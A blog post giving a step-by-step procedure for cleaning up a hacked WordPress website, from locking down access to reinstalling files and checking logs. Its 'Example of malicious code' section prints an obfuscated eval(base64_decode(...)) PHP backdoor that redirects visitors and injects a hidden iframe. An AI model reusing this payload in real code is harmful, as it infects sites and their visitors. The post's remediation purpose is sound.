Fixing a hacked website

Here is the process I go through to fix a website that has been hacked.

1) In your message to the website owner, tell them you can add a message to the site while it’s being worked on, and ask them if they have anything specific they would like it to say. If this is an ecommerce site, ask if they would like you to include their phone number for customers to use to place orders over the phone while the website is being worked on.

2) Add the following to the .htaccess file to only allow you to access the website.

order deny,allow
deny from all
allow from REPLACE_WITH_YOUR_IP_ADDRESS

For newer versions of Apache:
Require ip REPLACE_WITH_YOUR_IP_ADDRESS

If the above doesn't work, you can also do:
RewriteCond %{HTTP_COOKIE} !^.*randomCookieName.*$
RewriteRule .* - [F,L]
ErrorDocument 403 /403.html

3) Backup the website. If the hacked code is getting in your way of using a backup plugin, you can use the commands ssh [email protected] “tar -zcf – ~/webapps/appName” > backup.tar.gz and ssh [email protected] “mysqldump -u username -p db_name > backup.sql”. Alternatively, you can use the hu backup command.

4) Remove any known infected files

5) If needed contact your hosting company to have them re-enable the website.

6) Setup a staging site or redirect all traffic to a new application that has a message about the site being down (easier). If you’re setting up a staging site (harder), then the website customers are visiting is now temporary, and the staging site will eventually become the live production site. Disable any membership plugins and other similar plugins to prevent users from making changes that are going to get lost. Disable other admins from using the back end. There is an option for this in the hosting utilities plugin. And disable the ability to take payments and replace it with a message to take payments over the phone. You don’t want customers entering cc info on a compromised site. Once you have the website as close to a read-only website as makes sense, remove the .htaccess stuff we added. All changes will now be made on the staging site, and eventually we will overwrite the normal website with the staging site.

7) If needed, edit your hosts file to  go to the staging site.

8) Save recently edited files so we know where to start investigating just in case the hacker gets back in a second time. find -mtime -1 -printf “%[email protected]\t%Tc %p\n” | sort -n > ../private_html/files_edited_day_cleaned_hack.txt  and find -mtime -7 -printf “%[email protected]\t%Tc %p\n” | sort -n > ../private_html/files_edited_week_cleaned_hack.txt

9) Make sure no unwanted processes are running on the server. SSH in and run the command ps -u username -o pid,commandto see processes for a specific user (eg the user you’re logged in as or www-data). You can also use the command ps -U root -u root -N -o pid,command to see processes for all non-root users, and then compare the results to a good server. Use the kill the_pid  command to remove any processes that do not belong. Then check the cron jobs with the command crontab -e. Also check the WP cron. This can be checked with the sucuri plugin under sucuri > settings > scanner > scheduled tasks. Alternatively, it can be checked with WP Crontrol under “tools” > “cron events”.

10) Perform updates. This is probably how the hacker got in.

11) Remove unneeded inactive plugins. An inactive plugin that hasn’t been updated for many years is a possible hacking vulnerability. Also remove inactive themes.

12) Download WordPress from wordpress.org. On the website remove the wp-includes and wp-admin folder. Remove everything except for the wp-config.php and .htaccess files, the wp-content folder and .well-known folders, and anything that looks important that is not a part of the WordPress install. In the wp-content folder remove the cache folder if it exists, along with anything else that looks unnecessary or out of place. Upload the new WordPress files that where just downloaded from WordPress.org, if prompted, replace any files currently on the server.

13) Delete and re-upload any plugins, and possibly do this with this the theme if you can. You can do this quickly for the free plugins in the WordPress codex repository by downloading the sucuri security plugin and navigating to sucuri > settings > post hack > reset installed plugins. Make sure you set Sucuri’s alerts to go to your email address after installing the plugin (sucuri > settings ? alerts). Alternatively you can use either wp plugin install $(wp plugin list --field=name) --force --skip-plugins --skip-themes or probably better wp plugin install $(ls -1p wp-content/plugins | grep ‘/$’ | sed ‘s/\/$//’) –force

14) Install and configure iThemes Security Pro and WordFence.

15) Change the salts to logout anyone that could be logged into the website.

16) Remove any admin users that should not be there.

17) Check for suspicious looking files. We’re looking for files with a bunch of random text that has probably been base64 encoded. This is the hacker’s backdoor. He can visit a specific location on the website to evaluate this code which is full of tools that allow him to easily perform malicious actions. Below are some ways of finding potentially hacked files.

SSH in, cd into the webapp, and make sure there are no non-media files in the uploads directory by running the command grep -rcw "" --exclude=*.{jpg,jpeg,png,gif,mov,mp3,mp4,pdf,doc,xdoc,csv,xsl,sql} ./wp-content/uploads (backupbuddy adds a lot of sql files in there, so that’s why we’re also ignoring SQL files).

Find all files that have been modified within 24 hours with the command find -mtime -1 -printf ‘%Tc %p\n’ mtime specifies the number of days, so you would use -mtime -3 if you wanted to check the last three days.

       Check uses of eval with the command grep -ro “eval” –exclude=”*.sql”. Or use the gotmls plugin in step 11 to check for suspicous eval statements.

Check the md5 checksums of WordPress core files via wp-cli with the command ow wp-cli website.com "core verify-checksums --version=4.8.2". See this link for more info.

Example of malicious code

eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHRydW09aGVhZGVyc19zZW50KCk7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWE9JF9TRVJWRVJbJ0h UVFBfVVNFUl9BR0VOVCddOw0KaWYgKHN0cmlzdHIoJHVhLCJtc2llIikpew0KaWYgKCEkdHJ1bSl7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJ pc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGV hZGVyKCJMb2NhdGlvbjogaHR0cDovL2FsYXBvdHJlbW5iYS5vc2EucGwvcmlmLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCn1lbHNlIHsNCmVjaG8gIjxpZnJhbWUgc3JjPSdodHRwOi8vcnRqaHRleWp0eWp0eWoub3JnZS5 wbC9tZG0vJyBmcmFtZWJvcmRlcj0wIGhlaWdodD0xIHdpZHRoPTEgc2Nyb2xsaW5nPW5vPjwvaWZyYW1lPiI7DQp9DQoJfQ==”));

18) Change all passwords and remove all ssh keys with the command rm $HOME/.ssh/authorized_keys

19) Perform some website malware scans and make sure everything looks clean. The plugin “Anti-Malware from GOTMLS.NET” is a good malware scanner (make sure you register for an API key before scanning otherwise the scan will do nothing). For additional coverage, you can also check Wordfence’s malware scanner.

20) Remove the bit we added to .htaccess to prevent anyone else from viewing the website. You may need to restore the .htaccess file back to the default one.

21) Remove the maintenance page or send traffic back to the main application if using a staging site.

22) If the webhost is the one that alerted the user about the hack, ask them to rescan the site and verify that the site is coming up clean.

22) If you want to try to figure out how the site was hacked into, you can look for anything suspicious in the log files. On a Webfaction server these are located at

  • ~/.bash_history has a history of all of the commands entered over interactive ssh sessions
  • ~/logs/user has the MySql error logs. This folder is often empty
  • ~/logs/frontend has the apache access logs and the php error logs

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.